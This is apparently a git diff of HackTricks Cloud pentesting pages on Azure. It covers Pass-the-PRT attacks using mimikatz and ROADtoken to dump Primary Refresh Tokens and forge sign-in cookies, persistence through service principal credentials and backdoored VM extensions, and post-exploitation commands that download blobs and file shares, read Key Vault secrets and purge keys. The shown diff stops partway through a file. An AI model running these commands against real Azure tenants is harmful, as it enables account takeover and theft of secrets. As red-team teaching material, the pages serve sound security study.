-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## What is a PRT
 
-{% content-ref url="az-primary-refresh-token-prt.md" %}
-[az-primary-refresh-token-prt.md](az-primary-refresh-token-prt.md)
-{% endcontent-ref %}
+{{#ref}}
+az-primary-refresh-token-prt.md
+{{#endref}}
 
 ### Check if you have a PRT
 
@@ -29,11 +16,11 @@ Dsregcmd.exe /status
 
 In the SSO State section, you should see the **`AzureAdPrt`** set to **YES**.
 
-<figure><img src="../../../.gitbook/assets/image (140).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (140).png" alt=""><figcaption></figcaption></figure>
 
 In the same output you can also see if the **device is joined to Azure** (in the field `AzureAdJoined`):
 
-<figure><img src="../../../.gitbook/assets/image (135).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (135).png" alt=""><figcaption></figcaption></figure>
 
 ## PRT Cookie
 
@@ -61,7 +48,7 @@ The **KDF context is** a nonce from AzureAD and the PRT creating a **JWT** mixed
 
 Therefore, even if the PRT cannot be extracted because it's located inside the TPM, it's possible to abuseLSASS to **request derived keys from new contexts and use the generated keys to sign Cookies**.
 
-<figure><img src="../../../.gitbook/assets/image (31).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure>
 
 ## PRT Abuse Scenarios
 
@@ -109,11 +96,9 @@ Then you can use [**roadtoken**](https://github.com/dirkjanm/ROADtoken) to get a
 
 As oneliner:
 
-{% code overflow="wrap" %}
 ```powershell
 Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
 ```
-{% endcode %}
 
 Then you can use the **generated cookie** to **generate tokens** to **login** using Azure AD **Graph** or Microsoft Graph:
 
@@ -180,9 +165,8 @@ HttpOnly: Set to True (checked)
 
 Then go to [https://portal.azure.com](https://portal.azure.com)
 
-{% hint style="danger" %}
-The rest should be the defaults. Make sure you can refresh the page and the cookie doesn’t disappear, if it does, you may have made a mistake and have to go through the process again. If it doesn’t, you should be good.
-{% endhint %}
+> [!CAUTION]
+> The rest should be the defaults. Make sure you can refresh the page and the cookie doesn’t disappear, if it does, you may have made a mistake and have to go through the process again. If it doesn’t, you should be good.
 
 ### Attack - Mimikatz
 
@@ -192,16 +176,14 @@ The rest should be the defaults. Make sure you can refresh the page and the cook
 2. The **Session Key is extracted next**. Given that this key is initially issued and then re-encrypted by the local device, it necessitates decryption using a DPAPI masterkey. Detailed information about DPAPI (Data Protection API) can be found in these resources: [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) and for an understanding of its application, refer to [Pass-the-cookie attack](az-pass-the-cookie.md).
 3. Post decryption of the Session Key, the **derived key and context for the PRT are obtained**. These are crucial for the **creation of the PRT cookie**. Specifically, the derived key is employed for signing the JWT (JSON Web Token) that constitutes the cookie. A comprehensive explanation of this process has been provided by Dirk-jan, accessible [here](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/).
 
-{% hint style="danger" %}
-Note that if the PRT is inside the TPM and not inside `lsass` **mimikatz won't be able to extract it**.\
-However, it will be possible to g**et a key from a derive key from a context** from the TPM and use it to **sign a cookie (check option 3).**
-{% endhint %}
+> [!CAUTION]
+> Note that if the PRT is inside the TPM and not inside `lsass` **mimikatz won't be able to extract it**.\
+> However, it will be possible to g**et a key from a derive key from a context** from the TPM and use it to **sign a cookie (check option 3).**
 
 You can find an **in depth explanation of the performed process** to extract these details in here: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
 
-{% hint style="warning" %}
-This won't exactly work post August 2021 fixes to get other users PRT tokens as only the user can get his PRT (a local admin cannot access other users PRTs), but can access his.
-{% endhint %}
+> [!WARNING]
+> This won't exactly work post August 2021 fixes to get other users PRT tokens as only the user can get his PRT (a local admin cannot access other users PRTs), but can access his.
 
 You can use **mimikatz** to extract the PRT:
 
@@ -217,16 +199,15 @@ Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'
 
 (Images from https://blog.netwrix.com/2023/05/13/pass-the-prt-overview)
 
-<figure><img src="../../../.gitbook/assets/image (251).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (251).png" alt=""><figcaption></figcaption></figure>
 
 **Copy** the part labeled **Prt** and save it.\
 Extract also the session key (the **`KeyValue`** of the **`ProofOfPossesionKey`** field) which you can see highlighted below. This is encrypted and we will need to use our DPAPI masterkeys to decrypt it.
 
-<figure><img src="../../../.gitbook/assets/image (182).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (182).png" alt=""><figcaption></figcaption></figure>
 
-{% hint style="info" %}
-If you don’t see any PRT data it could be that you **don’t have any PRTs** because your device isn’t Azure AD joined or it could be you are **running an old version** of Windows 10.
-{% endhint %}
+> [!NOTE]
+> If you don’t see any PRT data it could be that you **don’t have any PRTs** because your device isn’t Azure AD joined or it could be you are **running an old version** of Windows 10.
 
 To **decrypt** the session key you need to **elevate** your privileges to **SYSTEM** to run under the computer context to be able to use the **DPAPI masterkey to decrypt it**. You can use the following commands to do so:
 
@@ -235,27 +216,27 @@ token::elevate
 dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect
 ```
 
-<figure><img src="../../../.gitbook/assets/image (183).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (183).png" alt=""><figcaption></figcaption></figure>
 
 #### Option 1 - Full Mimikatz
 
-* Now you want to copy both the Context value:
+- Now you want to copy both the Context value:
 
-<figure><img src="../../../.gitbook/assets/image (210).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (210).png" alt=""><figcaption></figcaption></figure>
 
-* And the derived key value:
+- And the derived key value:
 
-<figure><img src="../../../.gitbook/assets/image (150).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (150).png" alt=""><figcaption></figcaption></figure>
 
-* Finally you can use all this info to **generate PRT cookies**:
+- Finally you can use all this info to **generate PRT cookies**:
 
 ```bash
 Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
 ```
 
-<figure><img src="../../../.gitbook/assets/image (282).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (282).png" alt=""><figcaption></figcaption></figure>
 
-* Go to [https://login.microsoftonline.com](https://login.microsoftonline.com), clear all cookies for login.microsoftonline.com and enter a new cookie.
+- Go to [https://login.microsoftonline.com](https://login.microsoftonline.com), clear all cookies for login.microsoftonline.com and enter a new cookie.
 
 ```
 Name: x-ms-RefreshTokenCredential
@@ -264,58 +245,40 @@ Path: /
 HttpOnly: Set to True (checked)
 ```
 
-* Then go to [https://portal.azure.com](https://portal.azure.com)
+- Then go to [https://portal.azure.com](https://portal.azure.com)
 
-{% hint style="danger" %}
-The rest should be the defaults. Make sure you can refresh the page and the cookie doesn’t disappear, if it does, you may have made a mistake and have to go through the process again. If it doesn’t, you should be good.
-{% endhint %}
+> [!CAUTION]
+> The rest should be the defaults. Make sure you can refresh the page and the cookie doesn’t disappear, if it does, you may have made a mistake and have to go through the process again. If it doesn’t, you should be good.
 
 #### Option 2 - roadrecon using PRT
 
-* Renew the PRT first, which will save it in `roadtx.prt`:
+- Renew the PRT first, which will save it in `roadtx.prt`:
 
-{% code overflow="wrap" %}
 ```bash
 roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
 ```
-{% endcode %}
 
-* Now we can **request tokens** using the interactive browser with `roadtx browserprtauth`. If we use the `roadtx describe` command, we see the access token includes an MFA claim because the PRT I used in this case also had an MFA claim.
+- Now we can **request tokens** using the interactive browser with `roadtx browserprtauth`. If we use the `roadtx describe` command, we see the access token includes an MFA claim because the PRT I used in this case also had an MFA claim.
 
 ```bash
 roadtx browserprtauth
 roadtx describe < .roadtools_auth
 ```
 
-<figure><img src="../../../.gitbook/assets/image (44).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../images/image (44).png" alt=""><figcaption></figcaption></figure>
 
 #### Option 3 - roadrecon using derived keys
 
 Having the context and the derived key dumped by mimikatz, it's possible to use roadrecon to generate a new signed cookie with:
 
-{% code overflow="wrap" %}
 ```bash
 roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>
 ```
-{% endcode %}
 
 ## References
 
-* [https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/](https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/)
-* [https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)
-* [https://www.youtube.com/watch?v=x609c-MUZ\_g](https://www.youtube.com/watch?v=x609c-MUZ_g)
+- [https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/](https://stealthbits.com/blog/lateral-movement-to-the-cloud-pass-the-prt/)
+- [https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)
+- [https://www.youtube.com/watch?v=x609c-MUZ_g](https://www.youtube.com/watch?v=x609c-MUZ_g)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md
new file mode 100644
index 000000000..6225d109c
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-permissions-for-a-pentest.md
@@ -0,0 +1,7 @@
+# Az - Permissions for a Pentest
+
+{{#include ../../banners/hacktricks-training.md}}
+
+To start the tests you should have access with a user with **Reader permissions over the subscription** and **Global Reader role in AzureAD**. If even in that case you are **not able to access the content of the Storage accounts** you can fix it with the **role Storage Account Contributor**.
+
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/azure-security/az-persistence/README.md b/src/pentesting-cloud/azure-security/az-persistence/README.md
similarity index 53%
rename from pentesting-cloud/azure-security/az-persistence/README.md
rename to src/pentesting-cloud/azure-security/az-persistence/README.md
index 3e463b681..d686f7f78 100644
--- a/pentesting-cloud/azure-security/az-persistence/README.md
+++ b/src/pentesting-cloud/azure-security/az-persistence/README.md
@@ -1,19 +1,6 @@
 # Az - Persistence
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ### Illicit Consent Grant
 
@@ -31,21 +18,17 @@ An interesting role to add to the application would be **Privileged authenticati
 
 This technique also allows to **bypass MFA**.
 
-{% code overflow="wrap" %}
 ```powershell
 $passwd = ConvertTo-SecureString "J~Q~QMt_qe4uDzg53MDD_jrj_Q3P.changed" -AsPlainText -Force
 $creds = New-Object System.Management.Automation.PSCredential("311bf843-cc8b-459c-be24-6ed908458623", $passwd)
 Connect-AzAccount -ServicePrincipal -Credential $credentials -Tenant e12984235-1035-452e-bd32-ab4d72639a
 ```
-{% endcode %}
 
-* For certificate based authentication
+- For certificate based authentication
 
-{% code overflow="wrap" %}
 ```powershell
 Connect-AzAccount -ServicePrincipal -Tenant <TenantId> -CertificateThumbprint <Thumbprint> -ApplicationId <ApplicationId>
 ```
-{% endcode %}
 
 ### Federation - Token Signing Certificate
 
@@ -80,19 +63,6 @@ Open-AADIntOffice365Portal -ImmutableID qIMPTm2Q3kimHgg4KQyveA== -Issuer "http:/
 
 ## References
 
-* [https://aadinternalsbackdoor.azurewebsites.net/](https://aadinternalsbackdoor.azurewebsites.net/)
+- [https://aadinternalsbackdoor.azurewebsites.net/](https://aadinternalsbackdoor.azurewebsites.net/)
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md b/src/pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md
new file mode 100644
index 000000000..cd39ab3bb
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md
@@ -0,0 +1,31 @@
+# Az - Queue Storage Persistence
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Queue
+
+For more information check:
+
+{{#ref}}
+../az-services/az-queue-enum.md
+{{#endref}}
+
+### Actions: `Microsoft.Storage/storageAccounts/queueServices/queues/write`
+
+This permission allows an attacker to create or modify queues and their properties within the storage account. It can be used to create unauthorized queues, modify metadata, or change access control lists (ACLs) to grant or restrict access. This capability could disrupt workflows, inject malicious data, exfiltrate sensitive information, or manipulate queue settings to enable further attacks.
+
+```bash
+az storage queue create --name <new-queue-name> --account-name <storage-account>
+
+az storage queue metadata update --name <queue-name> --metadata key1=value1 key2=value2 --account-name <storage-account>
+
+az storage queue policy set --name <queue-name> --permissions rwd --expiry 2024-12-31T23:59:59Z --account-name <storage-account>
+```
+
+## References
+
+- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
+- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api
+- https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md
new file mode 100644
index 000000000..ab01d48bf
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md
@@ -0,0 +1,41 @@
+# Az - Storage Persistence
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Storage Privesc
+
+For more information about storage check:
+
+{{#ref}}
+../az-services/az-storage.md
+{{#endref}}
+
+### Common tricks
+
+- Keep the access keys
+- Generate SAS
+  - User delegated are 7 days max
+
+### Microsoft.Storage/storageAccounts/blobServices/containers/update && Microsoft.Storage/storageAccounts/blobServices/deletePolicy/write
+
+These permissions allows the user to modify blob service properties for the container delete retention feature, which enables or configures the retention period for deleted containers. These permissions can be used for maintaining persistence to provide a window of opportunity for the attacker to recover or manipulate deleted containers that should have been permanently removed and accessing sensitive information.
+
+```bash
+az storage account blob-service-properties update \
+  --account-name <STORAGE_ACCOUNT_NAME> \
+  --enable-container-delete-retention true \
+  --container-delete-retention-days 100
+```
+
+### Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action
+
+These permissions can lead to the attacker to modify the retention policies, restoring deleted data, and accessing sensitive information.
+
+```bash
+az storage blob service-properties delete-policy update \
+  --account-name <STORAGE_ACCOUNT_NAME> \
+  --enable true \
+  --days-retained 100
+```
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md
new file mode 100644
index 000000000..00cfdd9a4
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md
@@ -0,0 +1,25 @@
+# Az - VMs Persistence
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## VMs persistence
+
+For more information about VMs check:
+
+{{#ref}}
+../az-services/vms/
+{{#endref}}
+
+### Backdoor VM applications, VM Extensions & Images <a href="#backdoor-instances" id="backdoor-instances"></a>
+
+An attacker identifies applications, extensions or images being frequently used in the Azure account, he could insert his code in VM applications and extensions so every time they get installed the backdoor is executed.
+
+### Backdoor Instances <a href="#backdoor-instances" id="backdoor-instances"></a>
+
+An attacker could get access to the instances and backdoor them:
+
+- Using a traditional **rootkit** for example
+- Adding a new **public SSH key** (check [EC2 privesc options](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc))
+- Backdooring the **User Data**
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/pentesting-cloud/azure-security/az-post-exploitation/README.md b/src/pentesting-cloud/azure-security/az-post-exploitation/README.md
similarity index 100%
rename from pentesting-cloud/azure-security/az-post-exploitation/README.md
rename to src/pentesting-cloud/azure-security/az-post-exploitation/README.md
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
new file mode 100644
index 000000000..4860a9862
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
@@ -0,0 +1,45 @@
+# Az - Blob Storage Post Exploitation
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Storage Privesc
+
+For more information about storage check:
+
+{{#ref}}
+../az-services/az-storage.md
+{{#endref}}
+
+### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read
+
+A principal with this permission will be able to **list** the blobs (files) inside a container and **download** the files which might contain **sensitive information**.
+
+```bash
+# e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read
+az storage blob list \
+  --account-name <acc-name> \
+  --container-name <container-name> --auth-mode login
+
+az storage blob download \
+  --account-name <acc-name> \
+  --container-name <container-name> \
+  -n file.txt --auth-mode login
+```
+
+### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write
+
+A principal with this permission will be able to **write and overwrite files in containers** which might allow him to cause some damage or even escalate privileges (e.g. overwrite some code stored in a blob):
+
+```bash
+# e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write
+az storage blob upload \
+  --account-name <acc-name> \
+  --container-name <container-name> \
+  --file /tmp/up.txt --auth-mode login --overwrite
+```
+
+### \*/delete
+
+This would allow to delete objects inside the storage account which might **interrupt some services** or make the client **lose valuable information**.
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md
new file mode 100644
index 000000000..04ac0fa8c
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md
@@ -0,0 +1,48 @@
+# Az - File Share Post Exploitation
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+File Share Post Exploitation
+
+For more information about file shares check:
+
+{{#ref}}
+../az-services/az-file-shares.md
+{{#endref}}
+
+### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read
+
+A principal with this permission will be able to **list** the files inside a file share and **download** the files which might contain **sensitive information**.
+
+```bash
+# List files inside an azure file share
+az storage file list \
+    --account-name <name> \
+    --share-name <share-name> \
+    --auth-mode login --enable-file-backup-request-intent
+
+# Download an specific file
+az storage file download \
+    --account-name <name> \
+    --share-name <share-name> \
+    --path <filename-to-download> \
+    --dest /path/to/down \
+    --auth-mode login --enable-file-backup-request-intent
+```
+
+### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write, Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action
+
+A principal with this permission will be able to **write and overwrite files in file shares** which might allow him to cause some damage or even escalate privileges (e.g. overwrite some code stored in a file share):
+
+```bash
+az storage blob upload \
+  --account-name <acc-name> \
+  --container-name <container-name> \
+  --file /tmp/up.txt --auth-mode login --overwrite
+```
+
+### \*/delete
+
+This would allow to delete file inside the shared filesystem which might **interrupt some services** or make the client **lose valuable information**.
+
+{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md
new file mode 100644
index 000000000..d692dbb1a
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md
@@ -0,0 +1,17 @@
+# Az - Function Apps Post Exploitation
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+## Funciton Apps Post Exploitaiton
+
+For more information about function apps check:
+
+{{#ref}}
+../az-services/az-function-apps.md
+{{#endref}}
+
+> [!CAUTION] > **Function Apps post exploitation tricks are very related to the privilege escalation tricks** so you can find all of them there:
+
+{{#ref}}
+../az-privilege-escalation/az-functions-app-privesc.md
+{{#endref}}
diff --git a/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md
similarity index 57%
rename from pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md
rename to src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md
index 330853723..e353765a6 100644
--- a/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md
@@ -1,40 +1,25 @@
 # Az - Key Vault Post Exploitation
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
+{{#include ../../../banners/hacktricks-training.md}}
 
 ## Azure Key Vault
 
 For more information about this service check:
 
-{% content-ref url="../az-services/keyvault.md" %}
-[keyvault.md](../az-services/keyvault.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/keyvault.md
+{{#endref}}
 
 ### Microsoft.KeyVault/vaults/secrets/getSecret/action
 
 This permission will allow a principal to read the secret value of secrets:
 
-{% code overflow="wrap" %}
 ```bash
 az keyvault secret show --vault-name <vault name> --name <secret name>
 
 # Get old version secret value
 az keyvault secret show --id https://<KeyVaultName>.vault.azure.net/secrets/<KeyVaultName>/<idOldVersion>
 ```
-{% endcode %}
 
 ### **Microsoft.KeyVault/vaults/certificates/purge/action**
 
@@ -48,7 +33,6 @@ az keyvault certificate purge --vault-name <vault name> --name <certificate name
 
 This permission allows a principal to encrypt data using a key stored in the vault.
 
-{% code overflow="wrap" %}
 ```bash
 az keyvault key encrypt --vault-name <vault name> --name <key name> --algorithm <algorithm> --value <value>
 
@@ -56,20 +40,17 @@ az keyvault key encrypt --vault-name <vault name> --name <key name> --algorithm
 echo "HackTricks" | base64 # SGFja1RyaWNrcwo=
 az keyvault key encrypt --vault-name testing-1231234 --name testing --algorithm RSA-OAEP-256 --value SGFja1RyaWNrcwo=
 ```
-{% endcode %}
 
 ### **Microsoft.KeyVault/vaults/keys/decrypt/action**
 
 This permission allows a principal to decrypt data using a key stored in the vault.
 
-{% code overflow="wrap" %}
 ```bash
 az keyvault key decrypt --vault-name <vault name> --name <key name> --algorithm <algorithm> --value <value>
 
 # Example
 az keyvault key decrypt --vault-name testing-1231234 --name testing --algorithm RSA-OAEP-256 --value "ISZ+7dNcDJXLPR5MkdjNvGbtYK3a6Rg0ph/+3g1IoUrCwXnF791xSF0O4rcdVyyBnKRu0cbucqQ/+0fk2QyAZP/aWo/gaxUH55pubS8Zjyw/tBhC5BRJiCtFX4tzUtgTjg8lv3S4SXpYUPxev9t/9UwUixUlJoqu0BgQoXQhyhP7PfgAGsxayyqxQ8EMdkx9DIR/t9jSjv+6q8GW9NFQjOh70FCjEOpYKy9pEGdLtPTrirp3fZXgkYfIIV77TXuHHdR9Z9GG/6ge7xc9XT6X9ciE7nIXNMQGGVCcu3JAn9BZolb3uL7PBCEq+k2rH4tY0jwkxinM45tg38Re2D6CEA==" # This is the result from the previous encryption
 ```
-{% endcode %}
 
 ### **Microsoft.KeyVault/vaults/keys/purge/action**
 
@@ -91,21 +72,17 @@ az keyvault secret purge --vault-name <vault name> --name <secret name>
 
 This permission allows a principal to create or update a secret in the vault.
 
-{% code overflow="wrap" %}
 ```bash
 az keyvault secret set --vault-name <vault name> --name <secret name> --value <secret value>
 ```
-{% endcode %}
 
 ### **Microsoft.KeyVault/vaults/certificates/delete**
 
 This permission allows a principal to delete a certificate from the vault. The certificate is moved to the "soft-delete" state, where it can be recovered unless purged.
 
-{% code overflow="wrap" %}
 ```bash
 az keyvault certificate delete --vault-name <vault name> --name <certificate name>
 ```
-{% endcode %}
 
 ### **Microsoft.KeyVault/vaults/keys/delete**
 
@@ -131,17 +108,4 @@ This permission allows a principal to restore a secret from a backup.
 az keyvault secret restore --vault-name <vault-name> --file <backup-file-path>
 ```
 
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
